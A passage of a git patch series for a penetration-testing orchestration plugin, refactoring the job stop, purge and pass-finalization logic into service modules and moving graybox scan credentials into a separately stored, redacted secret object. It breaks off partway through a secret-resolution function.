job_specs.get("run_mode") == RUN_MODE_CONTINUOUS_MONITORING - - if stop_type != "HARD" and not is_continuous: - return {"error": "SOFT stop is only supported for CONTINUOUS_MONITORING jobs", "job_id": job_id} - - passes_completed = job_specs.get("job_pass", 1) - - if stop_type == "HARD": - # Stop local workers if running - local_workers = self.scan_jobs.get(job_id) - if local_workers: - for local_worker_id, job in local_workers.items(): - self.P(f"Stopping job {job_id} on local worker {local_worker_id}.") - job.stop() - self.scan_jobs.pop(job_id, None) - - # Mark worker as finished/canceled in CStore - worker_entry = job_specs.setdefault("workers", {}).setdefault(self.ee_addr, {}) - worker_entry["finished"] = True - worker_entry["canceled"] = True - - set_job_status(job_specs, JOB_STATUS_STOPPED) - self._emit_timeline_event(job_specs, "stopped", "Job stopped", actor_type="user") - self.P(f"Hard stop for job {job_id} after {passes_completed} passes") - else: - # SOFT stop - let current pass complete (continuous monitoring only) - set_job_status(job_specs, JOB_STATUS_SCHEDULED_FOR_STOP) - self._emit_timeline_event(job_specs, "scheduled_for_stop", "Stop scheduled", actor_type="user") - self.P(f"[CONTINUOUS] Soft stop scheduled for job {job_id} (will stop after current pass)") - - PentesterApi01Plugin._write_job_record(self, job_id, job_specs, context="stop_monitoring") - - return { - "job_status": job_specs["job_status"], - "stop_type": stop_type, - "job_id": job_id, - "passes_completed": passes_completed, - "pass_reports": job_specs.get("pass_reports", []), - } + """Stop a job immediately or schedule a soft stop for continuous scans.""" + return stop_monitoring(self, job_id, stop_type=stop_type) @BasePlugin.endpoint(method="post") diff --git a/extensions/business/cybersec/red_mesh/services/__init__.py b/extensions/business/cybersec/red_mesh/services/__init__.py index 99b2f913..954c07fd 100644 --- a/extensions/business/cybersec/red_mesh/services/__init__.py +++ b/extensions/business/cybersec/red_mesh/services/__init__.py @@ -1,3 +1,9 @@ +from .control import ( + purge_job, + stop_and_delete_job, + stop_monitoring, +) +from .finalization import maybe_finalize_pass from .launch import launch_local_jobs from .launch_api import ( announce_launch, @@ -56,10 +62,14 @@ "launch_webapp_scan", "list_local_jobs", "list_network_jobs", + "maybe_finalize_pass", "normalize_common_launch_options", "parse_exceptions", + "purge_job", "resolve_active_peers", "resolve_enabled_features", "set_job_status", + "stop_and_delete_job", + "stop_monitoring", "validation_error", ] diff --git a/extensions/business/cybersec/red_mesh/services/control.py b/extensions/business/cybersec/red_mesh/services/control.py new file mode 100644 index 00000000..671028cf --- /dev/null +++ b/extensions/business/cybersec/red_mesh/services/control.py @@ -0,0 +1,210 @@ +from ..constants import ( + JOB_STATUS_FINALIZED, + JOB_STATUS_RUNNING, + JOB_STATUS_SCHEDULED_FOR_STOP, + JOB_STATUS_STOPPED, + RUN_MODE_CONTINUOUS_MONITORING, +) +from .state_machine import set_job_status + + +def _write_job_record(owner, job_id, job_specs, context): + write_job_record = getattr(type(owner), "_write_job_record", None) + if callable(write_job_record): + return write_job_record(owner, job_id, job_specs, context=context) + owner.chainstore_hset(hkey=owner.cfg_instance_id, key=job_id, value=job_specs) + return job_specs + + +def _delete_job_record(owner, job_id): + delete_job_record = getattr(type(owner), "_delete_job_record", None) + if callable(delete_job_record): + delete_job_record(owner, job_id) + return + owner.chainstore_hset(hkey=owner.cfg_instance_id, key=job_id, value=None) + + +def stop_and_delete_job(owner, job_id: str): + """ + Stop a running job, mark it stopped, then delegate to purge_job + for full R1FS + CStore cleanup. + """ + local_workers = owner.scan_jobs.get(job_id) + if local_workers: + owner.P(f"Stopping and deleting job {job_id}.") + for local_worker_id, job in local_workers.items(): + owner.P(f"Stopping job {job_id} on local worker {local_worker_id}.") + job.stop() + owner.P(f"Job {job_id} stopped.") + owner.scan_jobs.pop(job_id, None) + + raw_job_specs = owner.chainstore_hget(hkey=owner.cfg_instance_id, key=job_id) + if isinstance(raw_job_specs, dict): + _, job_specs = owner._normalize_job_record(job_id, raw_job_specs) + worker_entry = job_specs.setdefault("workers", {}).setdefault(owner.ee_addr, {}) + worker_entry["finished"] = True + worker_entry["canceled"] = True + set_job_status(job_specs, JOB_STATUS_STOPPED) + owner._emit_timeline_event(job_specs, "stopped", "Job stopped and deleted", actor_type="user") + _write_job_record(owner, job_id, job_specs, context="stop_and_delete") + else: + owner._log_audit_event("scan_stopped", {"job_id": job_id}) + return {"status": "success", "job_id": job_id, "cids_deleted": 0, "cids_total": 0} + + owner._log_audit_event("scan_stopped", {"job_id": job_id}) + return owner.purge_job(job_id) + + +def purge_job(owner, job_id: str): + """ + Purge a job: delete all R1FS artifacts, clean up live progress keys, + then tombstone the CStore entry. + """ + raw = owner.chainstore_hget(hkey=owner.cfg_instance_id, key=job_id) + if not isinstance(raw, dict): + return {"status": "error", "message": f"Job {job_id} not found."} + + _, job_specs = owner._normalize_job_record(job_id, raw) + + job_status = job_specs.get("job_status", "") + workers = job_specs.get("workers", {}) + if workers and any(not w.get("finished") for w in workers.values()): + return {"status": "error", "message": "Cannot purge a running job. Stop it first."} + if job_status not in (JOB_STATUS_FINALIZED, JOB_STATUS_STOPPED) and workers: + return {"status": "error", "message": "Cannot purge a running job. Stop it first."} + + cids = set() + + def _track(cid, source): + if cid and isinstance(cid, str) and cid not in cids: + cids.add(cid) + owner.P(f"[PURGE] Collected CID {cid} from {source}") + + _track(job_specs.get("job_config_cid"), "job_specs.job_config_cid") + + job_cid = job_specs.get("job_cid") + if job_cid: + _track(job_cid, "job_specs.job_cid") + try: + archive = owner.r1fs.get_json(job_cid) + if isinstance(archive, dict): + owner.P(f"[PURGE] Archive fetched OK, {len(archive.get('passes', []))} passes") + for pi, pass_data in enumerate(archive.get("passes", [])): + _track(pass_data.get("aggregated_report_cid"), f"archive.passes[{pi}].aggregated_report_cid") + for addr, wr in (pass_data.get("worker_reports") or {}).items(): + if isinstance(wr, dict): + _track(wr.get("report_cid"), f"archive.passes[{pi}].worker_reports[{addr}].report_cid") + else: + owner.P(f"[PURGE] Archive fetch returned non-dict: {type(archive)}", color='y') + except Exception as e: + owner.P(f"[PURGE] Failed to fetch archive {job_cid}: {e}", color='r') + + for addr, w in workers.items(): + _track(w.get("report_cid"), f"workers[{addr}].report_cid") + + for ri, ref in enumerate(job_specs.get("pass_reports", [])): + report_cid = ref.get("report_cid") + if report_cid: + _track(report_cid, f"pass_reports[{ri}].report_cid") + try: + pass_data = owner.r1fs.get_json(report_cid) + if isinstance(pass_data, dict): + _track(pass_data.get("aggregated_report_cid"), f"pass_reports[{ri}]->aggregated_report_cid") + for addr, wr in (pass_data.get("worker_reports") or {}).items(): + if isinstance(wr, dict): + _track(wr.get("report_cid"), f"pass_reports[{ri}]->worker_reports[{addr}].report_cid") + else: + owner.P(f"[PURGE] Pass report fetch returned non-dict: {type(pass_data)}", color='y') + except Exception as e: + owner.P(f"[PURGE] Failed to fetch pass report {report_cid}: {e}", color='r') + + owner.P(f"[PURGE] Total CIDs collected: {len(cids)}: {sorted(cids)}") + + deleted, failed = 0, 0 + for cid in cids: + try: + success = owner.r1fs.delete_file(cid, show_logs=True, raise_on_error=False) + if success: + deleted += 1 + owner.P(f"[PURGE] Deleted CID {cid}") + else: + failed += 1 + owner.P(f"[PURGE] delete_file returned False for CID {cid}", color='r') + except Exception as e: + owner.P(f"[PURGE] Failed to delete CID {cid}: {e}", color='r') + failed += 1 + + if failed > 0: + owner.P(f"Purge incomplete: {failed}/{len(cids)} CIDs failed. CStore kept.", color='r') + return { + "status": "partial", + "job_id": job_id, + "cids_deleted": deleted, + "cids_failed": failed, + "cids_total": len(cids), + "message": "Some R1FS artifacts could not be deleted. Retry purge later.", + } + + all_live = owner.chainstore_hgetall(hkey=f"{owner.cfg_instance_id}:live") + if isinstance(all_live, dict): + prefix = f"{job_id}:" + for key in all_live: + if key.startswith(prefix): + owner.chainstore_hset( + hkey=f"{owner.cfg_instance_id}:live", key=key, value=None + ) + + _delete_job_record(owner, job_id) + + owner.P(f"Purged job {job_id}: {deleted}/{len(cids)} CIDs deleted.") + owner._log_audit_event("job_purged", {"job_id": job_id, "cids_deleted": deleted, "cids_total": len(cids)}) + + return {"status": "success", "job_id": job_id, "cids_deleted": deleted, "cids_total": len(cids)} + + +def stop_monitoring(owner, job_id: str, stop_type: str = "SOFT"): + """ + Stop a job (any run mode with HARD stop, continuous-only for SOFT stop). + """ + raw_job_specs = owner.chainstore_hget(hkey=owner.cfg_instance_id, key=job_id) + if not raw_job_specs: + return {"error": "Job not found", "job_id": job_id} + + _, job_specs = owner._normalize_job_record(job_id, raw_job_specs) + stop_type = str(stop_type).upper() + is_continuous = job_specs.get("run_mode") == RUN_MODE_CONTINUOUS_MONITORING + + if stop_type != "HARD" and not is_continuous: + return {"error": "SOFT stop is only supported for CONTINUOUS_MONITORING jobs", "job_id": job_id} + + passes_completed = job_specs.get("job_pass", 1) + + if stop_type == "HARD": + local_workers = owner.scan_jobs.get(job_id) + if local_workers: + for local_worker_id, job in local_workers.items(): + owner.P(f"Stopping job {job_id} on local worker {local_worker_id}.") + job.stop() + owner.scan_jobs.pop(job_id, None) + + worker_entry = job_specs.setdefault("workers", {}).setdefault(owner.ee_addr, {}) + worker_entry["finished"] = True + worker_entry["canceled"] = True + + set_job_status(job_specs, JOB_STATUS_STOPPED) + owner._emit_timeline_event(job_specs, "stopped", "Job stopped", actor_type="user") + owner.P(f"Hard stop for job {job_id} after {passes_completed} passes") + else: + set_job_status(job_specs, JOB_STATUS_SCHEDULED_FOR_STOP) + owner._emit_timeline_event(job_specs, "scheduled_for_stop", "Stop scheduled", actor_type="user") + owner.P(f"[CONTINUOUS] Soft stop scheduled for job {job_id} (will stop after current pass)") + + _write_job_record(owner, job_id, job_specs, context="stop_monitoring") + + return { + "job_status": job_specs["job_status"], + "stop_type": stop_type, + "job_id": job_id, + "passes_completed": passes_completed, + "pass_reports": job_specs.get("pass_reports", []), + } diff --git a/extensions/business/cybersec/red_mesh/services/finalization.py b/extensions/business/cybersec/red_mesh/services/finalization.py new file mode 100644 index 00000000..37e58ede --- /dev/null +++ b/extensions/business/cybersec/red_mesh/services/finalization.py @@ -0,0 +1,293 @@ +import random + +from ..constants import ( + JOB_STATUS_ANALYZING, + JOB_STATUS_COLLECTING, + JOB_STATUS_FINALIZED, + JOB_STATUS_FINALIZING, + JOB_STATUS_RUNNING, + JOB_STATUS_SCHEDULED_FOR_STOP, + JOB_STATUS_STOPPED, + MAX_CONTINUOUS_PASSES, + RUN_MODE_CONTINUOUS_MONITORING, + RUN_MODE_SINGLEPASS, +) +from ..models import AggregatedScanData, PassReport, PassReportRef, WorkerReportMeta +from .state_machine import is_intermediate_job_status, is_terminal_job_status, set_job_status + + +def _write_job_record(owner, job_key, job_specs, context): + write_job_record = getattr(type(owner), "_write_job_record", None) + if callable(write_job_record): + return write_job_record(owner, job_key, job_specs, context=context) + return job_specs + + +def maybe_finalize_pass(owner): + """ + Launcher finalizes completed passes and orchestrates continuous monitoring. + """ + all_jobs = owner.chainstore_hgetall(hkey=owner.cfg_instance_id) + + for job_key, job_specs in all_jobs.items(): + normalized_key, job_specs = owner._normalize_job_record(job_key, job_specs) + if normalized_key is None: + continue + + is_launcher = job_specs.get("launcher") == owner.ee_addr + if not is_launcher: + continue + + workers = job_specs.get("workers", {}) + if not workers: + continue + + run_mode = job_specs.get("run_mode", RUN_MODE_SINGLEPASS) + job_status = job_specs.get("job_status", JOB_STATUS_RUNNING) + all_finished = all(w.get("finished") for w in workers.values()) + next_pass_at = job_specs.get("next_pass_at") + job_pass = job_specs.get("job_pass", 1) + job_id = job_specs.get("job_id") + pass_reports = job_specs.setdefault("pass_reports", []) + + if is_terminal_job_status(job_status): + if not job_specs.get("job_cid") and pass_reports: + owner.P(f"[STUCK RECOVERY] {job_id} is {job_status} but has no job_cid — retrying archive build", color='y') + owner._build_job_archive(job_id, job_specs) + continue + if is_intermediate_job_status(job_status): + continue + + if all_finished and next_pass_at is None: + pass_date_started = owner._get_timeline_date(job_specs, "pass_started") or owner._get_timeline_date(job_specs, "created") + pass_date_completed = owner.time() + now_ts = pass_date_completed + + set_job_status(job_specs, JOB_STATUS_COLLECTING) + job_specs = _write_job_record(owner, job_key, job_specs, context="finalize_collecting") + + node_reports = owner._collect_node_reports(workers) + aggregated = owner._get_aggregated_report(node_reports) if node_reports else {} + + risk_score = 0 + flat_findings = [] + risk_result = None + if aggregated: + risk_result, flat_findings = owner._compute_risk_and_findings(aggregated) + risk_score = risk_result["score"] + job_specs["risk_score"] = risk_score + owner.P(f"Risk score for job {job_id} pass {job_pass}: {risk_score}/100") + + job_config = owner._get_job_config(job_specs) + llm_text = None + summary_text = None + if owner.cfg_llm_agent_api_enabled and aggregated: + set_job_status(job_specs, JOB_STATUS_ANALYZING) + job_specs = _write_job_record(owner, job_key, job_specs, context="finalize_analyzing") + llm_text = owner._run_aggregated_llm_analysis(job_id, aggregated, job_config) + summary_text = owner._run_quick_summary_analysis(job_id, aggregated, job_config) + + llm_failed = True if (owner.cfg_llm_agent_api_enabled and (llm_text is None or summary_text is None)) else None + if llm_failed: + owner._emit_timeline_event( + job_specs, "llm_failed", + f"LLM analysis unavailable for pass {job_pass}", + meta={"pass_nr": job_pass} + ) + + worker_metas = {} + for addr, report in node_reports.items(): + nr_findings = owner._count_all_findings(report) + worker_metas[addr] = WorkerReportMeta( + report_cid=workers[addr].get("report_cid", ""), + start_port=report.get("start_port", 0), + end_port=report.get("end_port", 0), + ports_scanned=report.get("ports_scanned", 0), + open_ports=report.get("open_ports", []), + nr_findings=nr_findings, + node_ip=report.get("node_ip", ""), + ).to_dict() + + aggregated_report_cid = None + if aggregated: + aggregated_data = AggregatedScanData.from_dict(aggregated).to_dict() + aggregated_report_cid = owner.r1fs.add_json(aggregated_data, show_logs=False) + if not aggregated_report_cid: + owner.P(f"Failed to store aggregated report for pass {job_pass} in R1FS", color='r') + continue + + redmesh_test_attestation = None + should_submit_attestation = True + if run_mode == RUN_MODE_CONTINUOUS_MONITORING: + last_attestation_at = job_specs.get("last_attestation_at") + min_interval = owner.cfg_attestation_min_seconds_between_submits + if last_attestation_at is not None and now_ts - last_attestation_at < min_interval: + elapsed = round(now_ts - last_attestation_at) + owner.P( + f"[ATTESTATION] Skipping test attestation for job {job_id}: " + f"last submitted {elapsed}s ago, min interval is {min_interval}s", + color='y' + ) + should_submit_attestation = False + + if should_submit_attestation: + try: + attestation_node_ips = [ + r.get("node_ip") for r in node_reports.values() + if r.get("node_ip") + ] + redmesh_test_attestation = owner._submit_redmesh_test_attestation( + job_id=job_id, + job_specs=job_specs, + workers=workers, + vulnerability_score=risk_score, + node_ips=attestation_node_ips, + report_cid=aggregated_report_cid, + ) + if redmesh_test_attestation is not None: + job_specs["last_attestation_at"] = now_ts + except Exception as exc: + import traceback + owner.P( + f"[ATTESTATION] Failed to submit test attestation for job {job_id}: {exc}\n" + f" Type: {type(exc).__name__}\n" + f" Args: {exc.args}\n" + f" Traceback:\n{traceback.format_exc()}", + color='r' + ) + + worker_scan_metrics = {} + for addr, report in node_reports.items(): + if report.get("scan_metrics"): + entry = {"scan_metrics": report["scan_metrics"]} + if report.get("thread_scan_metrics"): + entry["threads"] = report["thread_scan_metrics"] + worker_scan_metrics[addr] = entry + node_metrics = [e["scan_metrics"] for e in worker_scan_metrics.values()] + pass_metrics = None + if node_metrics: + pass_metrics = node_metrics[0] if len(node_metrics) == 1 else owner._merge_worker_metrics(node_metrics) + + pass_report = PassReport( + pass_nr=job_pass, + date_started=pass_date_started, + date_completed=pass_date_completed, + duration=round(pass_date_completed - pass_date_started, 2) if pass_date_started else 0, + aggregated_report_cid=aggregated_report_cid or "", + worker_reports=worker_metas, + risk_score=risk_score, + risk_breakdown=risk_result["breakdown"] if risk_result else None, + llm_analysis=llm_text, + quick_summary=summary_text, + llm_failed=llm_failed, + findings=flat_findings if flat_findings else None, + scan_metrics=pass_metrics, + worker_scan_metrics=worker_scan_metrics if worker_scan_metrics else None, + redmesh_test_attestation=redmesh_test_attestation, + ) + + pass_report_cid = owner.r1fs.add_json(pass_report.to_dict(), show_logs=False) + if not pass_report_cid: + owner.P(f"Failed to store pass report for pass {job_pass} in R1FS", color='r') + continue + + pass_reports.append(PassReportRef(job_pass, pass_report_cid, risk_score).to_dict()) + + set_job_status(job_specs, JOB_STATUS_FINALIZING) + job_specs = _write_job_record(owner, job_key, job_specs, context="finalize_finalizing") + + if run_mode == RUN_MODE_SINGLEPASS: + set_job_status(job_specs, JOB_STATUS_FINALIZED) + owner._emit_timeline_event(job_specs, "scan_completed", "Scan completed") + if redmesh_test_attestation is not None: + owner._emit_timeline_event( + job_specs, "blockchain_submit", + "Job-finished attestation submitted", + actor_type="system", + meta={**redmesh_test_attestation, "network": owner.REDMESH_ATTESTATION_NETWORK} + ) + owner.P(f"[SINGLEPASS] Job {job_id} complete. Status set to FINALIZED.") + owner._emit_timeline_event(job_specs, "finalized", "Job finalized") + owner._build_job_archive(job_key, job_specs) + owner._clear_live_progress(job_id, list(workers.keys())) + continue + + if job_status == JOB_STATUS_SCHEDULED_FOR_STOP: + set_job_status(job_specs, JOB_STATUS_STOPPED) + owner._emit_timeline_event(job_specs, "scan_completed", f"Scan completed (pass {job_pass})") + if redmesh_test_attestation is not None: + owner._emit_timeline_event( + job_specs, "blockchain_submit", + f"Test attestation submitted (pass {job_pass})", + actor_type="system", + meta={**redmesh_test_attestation, "network": owner.REDMESH_ATTESTATION_NETWORK} + ) + owner.P(f"[CONTINUOUS] Pass {job_pass} complete for job {job_id}. Status set to STOPPED (soft stop was scheduled)") + owner._emit_timeline_event(job_specs, "stopped", "Job stopped") + owner._build_job_archive(job_key, job_specs) + owner._clear_live_progress(job_id, list(workers.keys())) + continue + + if job_pass >= MAX_CONTINUOUS_PASSES: + set_job_status(job_specs, JOB_STATUS_STOPPED) + owner._emit_timeline_event(job_specs, "scan_completed", f"Scan completed (pass {job_pass})") + owner._emit_timeline_event( + job_specs, + "pass_cap_reached", + f"Maximum continuous passes reached ({MAX_CONTINUOUS_PASSES})", + meta={"pass_nr": job_pass, "max_continuous_passes": MAX_CONTINUOUS_PASSES}, + ) + owner._log_audit_event("continuous_pass_cap_reached", { + "job_id": job_id, + "pass_nr": job_pass, + "max_continuous_passes": MAX_CONTINUOUS_PASSES, + }) + if redmesh_test_attestation is not None: + owner._emit_timeline_event( + job_specs, "blockchain_submit", + f"Test attestation submitted (pass {job_pass})", + actor_type="system", + meta={**redmesh_test_attestation, "network": owner.REDMESH_ATTESTATION_NETWORK} + ) + owner.P( + f"[CONTINUOUS] Pass {job_pass} complete for job {job_id}. " + f"Status set to STOPPED (max {MAX_CONTINUOUS_PASSES} passes reached)" + ) + owner._emit_timeline_event(job_specs, "stopped", "Job stopped") + owner._build_job_archive(job_key, job_specs) + owner._clear_live_progress(job_id, list(workers.keys())) + continue + + if redmesh_test_attestation is not None: + owner._emit_timeline_event( + job_specs, "blockchain_submit", + f"Test attestation submitted (pass {job_pass})", + actor_type="system", + meta={**redmesh_test_attestation, "network": owner.REDMESH_ATTESTATION_NETWORK} + ) + set_job_status(job_specs, JOB_STATUS_RUNNING) + interval = job_config.get("monitor_interval", owner.cfg_monitor_interval) + jitter = random.uniform(0, owner.cfg_monitor_jitter) + job_specs["next_pass_at"] = owner.time() + interval + jitter + owner._emit_timeline_event(job_specs, "pass_completed", f"Pass {job_pass} completed") + + owner.P(f"[CONTINUOUS] Pass {job_pass} complete for job {job_id}. Next pass in {interval}s (+{jitter:.1f}s jitter)") + _write_job_record(owner, job_key, job_specs, context="continuous_next_pass") + owner._clear_live_progress(job_id, list(workers.keys())) + + owner.completed_jobs_reports.pop(job_id, None) + if job_id in owner.lst_completed_jobs: + owner.lst_completed_jobs.remove(job_id) + + elif run_mode == RUN_MODE_CONTINUOUS_MONITORING and all_finished and next_pass_at and owner.time() >= next_pass_at: + job_specs["job_pass"] = job_pass + 1 + job_specs["next_pass_at"] = None + owner._emit_timeline_event(job_specs, "pass_started", f"Pass {job_pass + 1} started") + + for addr in workers: + workers[addr]["finished"] = False + workers[addr]["result"] = None + workers[addr]["report_cid"] = None + + _write_job_record(owner, job_key, job_specs, context="continuous_restart") + owner.P(f"[CONTINUOUS] Starting pass {job_pass + 1} for job {job_id}") From 96c76f5d745fe3c7783db176348c1c6945915eab Mon Sep 17 00:00:00 2001 From: toderian Date: Thu, 12 Mar 2026 16:30:11 +0000 Subject: [PATCH 073/114] feat: split redmesh graybox secrets from job config --- .../cybersec/red_mesh/mixins/report.py | 1 + .../cybersec/red_mesh/models/archive.py | 8 +- .../cybersec/red_mesh/pentester_api_01.py | 7 +- .../cybersec/red_mesh/services/__init__.py | 10 ++ .../cybersec/red_mesh/services/control.py | 5 + .../cybersec/red_mesh/services/launch_api.py | 8 +- .../cybersec/red_mesh/services/secrets.py | 147 ++++++++++++++++++ .../cybersec/red_mesh/tests/test_api.py | 109 ++++++++++++- 8 files changed, 289 insertions(+), 6 deletions(-) create mode 100644 extensions/business/cybersec/red_mesh/services/secrets.py diff --git a/extensions/business/cybersec/red_mesh/mixins/report.py b/extensions/business/cybersec/red_mesh/mixins/report.py index 6f19b39b..191a0af5 100644 --- a/extensions/business/cybersec/red_mesh/mixins/report.py +++ b/extensions/business/cybersec/red_mesh/mixins/report.py @@ -309,6 +309,7 @@ def _redact_job_config(config_dict): redacted["regular_password"] = "***" if redacted.get("weak_candidates"): redacted["weak_candidates"] = ["***"] * len(redacted["weak_candidates"]) + redacted.pop("secret_ref", None) return redacted def _compute_ui_aggregate(self, passes, latest_aggregated, job_config=None): diff --git a/extensions/business/cybersec/red_mesh/models/archive.py b/extensions/business/cybersec/red_mesh/models/archive.py index 35986c5e..960a800f 100644 --- a/extensions/business/cybersec/red_mesh/models/archive.py +++ b/extensions/business/cybersec/red_mesh/models/archive.py @@ -51,11 +51,14 @@ class JobConfig: # ── graybox fields ── scan_type: str = "network" # "network" | "webapp" target_url: str = "" # required when scan_type == "webapp" + secret_ref: str = "" # reference to separately persisted graybox secrets + has_regular_credentials: bool = False + has_weak_candidates: bool = False official_username: str = "" official_password: str = "" regular_username: str = "" regular_password: str = "" - weak_candidates: list = None # ["admin:admin", ...] + weak_candidates: list = None # legacy inline payload; new launches use secret_ref max_weak_attempts: int = 5 app_routes: list = None # user-supplied known routes verify_tls: bool = True # TLS cert verification @@ -93,6 +96,9 @@ def from_dict(cls, d: dict) -> JobConfig: authorized=d.get("authorized", False), scan_type=d.get("scan_type", "network"), target_url=d.get("target_url", ""), + secret_ref=d.get("secret_ref", ""), + has_regular_credentials=d.get("has_regular_credentials", False), + has_weak_candidates=d.get("has_weak_candidates", False), official_username=d.get("official_username", ""), official_password=d.get("official_password", ""), regular_username=d.get("regular_username", ""), diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 87bdfaec..a0a0fe59 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -90,6 +90,7 @@ normalize_common_launch_options, parse_exceptions, purge_job, + resolve_job_config_secrets, resolve_active_peers, resolve_enabled_features, set_job_status, @@ -500,7 +501,7 @@ def _normalize_job_record(self, job_key, job_spec, migrate=False): return job_key, normalized - def _get_job_config(self, job_specs): + def _get_job_config(self, job_specs, resolve_secrets=False): """ Fetch the immutable job config from R1FS via job_config_cid. @@ -521,6 +522,8 @@ def _get_job_config(self, job_specs): if config is None: self.P(f"Failed to fetch job config from R1FS (CID: {cid})", color='r') return {} + if resolve_secrets: + return resolve_job_config_secrets(self, config, include_secret_metadata=False) return config @@ -702,7 +705,7 @@ def _maybe_launch_jobs(self, nr_local_workers=None): self.P("No end port specified, defaulting to 65535.") end_port = 65535 # Fetch job config from R1FS - job_config = self._get_job_config(job_specs) + job_config = self._get_job_config(job_specs, resolve_secrets=True) try: local_jobs = launch_local_jobs( self, diff --git a/extensions/business/cybersec/red_mesh/services/__init__.py b/extensions/business/cybersec/red_mesh/services/__init__.py index 954c07fd..aa9dfd10 100644 --- a/extensions/business/cybersec/red_mesh/services/__init__.py +++ b/extensions/business/cybersec/red_mesh/services/__init__.py @@ -25,6 +25,12 @@ list_local_jobs, list_network_jobs, ) +from .secrets import ( + R1fsSecretStore, + collect_secret_refs_from_job_config, + persist_job_config_with_secrets, + resolve_job_config_secrets, +) from .scan_strategy import ( ScanStrategy, coerce_scan_type, @@ -65,7 +71,11 @@ "maybe_finalize_pass", "normalize_common_launch_options", "parse_exceptions", + "persist_job_config_with_secrets", "purge_job", + "R1fsSecretStore", + "resolve_job_config_secrets", + "collect_secret_refs_from_job_config", "resolve_active_peers", "resolve_enabled_features", "set_job_status", diff --git a/extensions/business/cybersec/red_mesh/services/control.py b/extensions/business/cybersec/red_mesh/services/control.py index 671028cf..a9e1c08f 100644 --- a/extensions/business/cybersec/red_mesh/services/control.py +++ b/extensions/business/cybersec/red_mesh/services/control.py @@ -5,6 +5,7 @@ JOB_STATUS_STOPPED, RUN_MODE_CONTINUOUS_MONITORING, ) +from .secrets import collect_secret_refs_from_job_config from .state_machine import set_job_status @@ -81,6 +82,10 @@ def _track(cid, source): owner.P(f"[PURGE] Collected CID {cid} from {source}") _track(job_specs.get("job_config_cid"), "job_specs.job_config_cid") + job_config = owner.r1fs.get_json(job_specs.get("job_config_cid")) if job_specs.get("job_config_cid") else {} + if isinstance(job_config, dict): + for secret_ref in collect_secret_refs_from_job_config(job_config): + _track(secret_ref, "job_config.secret_ref") job_cid = job_specs.get("job_cid") if job_cid: diff --git a/extensions/business/cybersec/red_mesh/services/launch_api.py b/extensions/business/cybersec/red_mesh/services/launch_api.py index 8c448569..526e5e80 100644 --- a/extensions/business/cybersec/red_mesh/services/launch_api.py +++ b/extensions/business/cybersec/red_mesh/services/launch_api.py @@ -13,6 +13,7 @@ ScanType, ) from ..models import JobConfig +from .secrets import persist_job_config_with_secrets def validation_error(message: str): @@ -250,7 +251,11 @@ def announce_launch( ) config_dict = job_config.to_dict() - job_config_cid = owner.r1fs.add_json(config_dict, show_logs=False) + persisted_config, job_config_cid = persist_job_config_with_secrets( + owner, + job_id=job_id, + config_dict=config_dict, + ) if not job_config_cid: owner.P("Failed to store job config in R1FS — aborting launch", color='r') return {"error": "Failed to store job config in R1FS"} @@ -337,6 +342,7 @@ def announce_launch( "job_specs": job_specs, "worker": owner.ee_addr, "other_jobs": report, + "job_config": persisted_config, } diff --git a/extensions/business/cybersec/red_mesh/services/secrets.py b/extensions/business/cybersec/red_mesh/services/secrets.py new file mode 100644 index 00000000..4f4476bf --- /dev/null +++ b/extensions/business/cybersec/red_mesh/services/secrets.py @@ -0,0 +1,147 @@ +from copy import deepcopy + + +class R1fsSecretStore: + """Minimal secret-store adapter backed by a separate R1FS object.""" + + def __init__(self, owner): + self.owner = owner + + def save_graybox_credentials(self, job_id: str, payload: dict) -> str: + secret_doc = { + "kind": "redmesh_graybox_credentials", + "job_id": job_id, + "payload": payload, + } + return self.owner.r1fs.add_json(secret_doc, show_logs=False) + + def load_graybox_credentials(self, secret_ref: str) -> dict | None: + if not secret_ref: + return None + secret_doc = self.owner.r1fs.get_json(secret_ref) + if not isinstance(secret_doc, dict): + self.owner.P(f"Failed to fetch graybox secret payload from R1FS (CID: {secret_ref})", color='r') + return None + payload = secret_doc.get("payload") + if not isinstance(payload, dict): + self.owner.P(f"Invalid graybox secret payload for ref {secret_ref}", color='r') + return None + return payload + + def delete_secret(self, secret_ref: str) -> bool: + if not secret_ref: + return True + try: + return bool(self.owner.r1fs.delete_file(secret_ref, show_logs=False, raise_on_error=False)) + except Exception as exc: + self.owner.P(f"Failed to delete graybox secret ref {secret_ref}: {exc}", color='y') + return False + + +def _blank_graybox_secret_fields(config_dict: dict) -> dict: + sanitized = dict(config_dict) + sanitized["official_username"] = "" + sanitized["official_password"] = "" + sanitized["regular_username"] = "" + sanitized["regular_password"] = "" + sanitized.pop("weak_candidates", None) + return sanitized + + +def build_graybox_secret_payload( + *, + official_username="", + official_password="", + regular_username="", + regular_password="", + weak_candidates=None, +): + return { + "official_username": official_username or "", + "official_password": official_password or "", + "regular_username": regular_username or "", + "regular_password": regular_password or "", + "weak_candidates": list(weak_candidates) if isinstance(weak_candidates, list) else weak_candidates, + } + + +def persist_job_config_with_secrets( + owner, + *, + job_id: str, + config_dict: dict, +): + """ + Persist durable job config with secrets split into a separate secret object. + + Returns + ------- + tuple[dict, str] + Persisted config dict and resulting job_config_cid. + """ + persisted_config = deepcopy(config_dict) + scan_type = persisted_config.get("scan_type", "network") + if scan_type == "webapp": + payload = build_graybox_secret_payload( + official_username=persisted_config.get("official_username", ""), + official_password=persisted_config.get("official_password", ""), + regular_username=persisted_config.get("regular_username", ""), + regular_password=persisted_config.get("regular_password", ""), + weak_candidates=persisted_config.get("weak_candidates"), + ) + has_secret_payload = any([ + payload["official_username"], + payload["official_password"], + payload["regular_username"], + payload["regular_password"], + payload["weak_candidates"], + ]) + if has_secret_payload: + store = R1fsSecretStore(owner) + secret_ref = store.save_graybox_credentials(job_id, payload) + if not secret_ref: + owner.P("Failed to persist graybox secret payload in R1FS — aborting launch", color='r') + return persisted_config, "" + persisted_config["secret_ref"] = secret_ref + persisted_config["has_regular_credentials"] = bool(payload["regular_username"] or payload["regular_password"]) + persisted_config["has_weak_candidates"] = bool(payload["weak_candidates"]) + persisted_config = _blank_graybox_secret_fields(persisted_config) + + job_config_cid = owner.r1fs.add_json(persisted_config, show_logs=False) + return persisted_config, job_config_cid + + +def resolve_job_config_secrets(owner, config_dict: dict, include_secret_metadata: bool = True) -> dict: + """ + Resolve secret_ref into runtime-only inline credentials for worker execution. + + Backward compatibility: + - configs without secret_ref are returned unchanged + - legacy inline secrets remain supported + """ + resolved = deepcopy(config_dict or {}) + secret_ref = 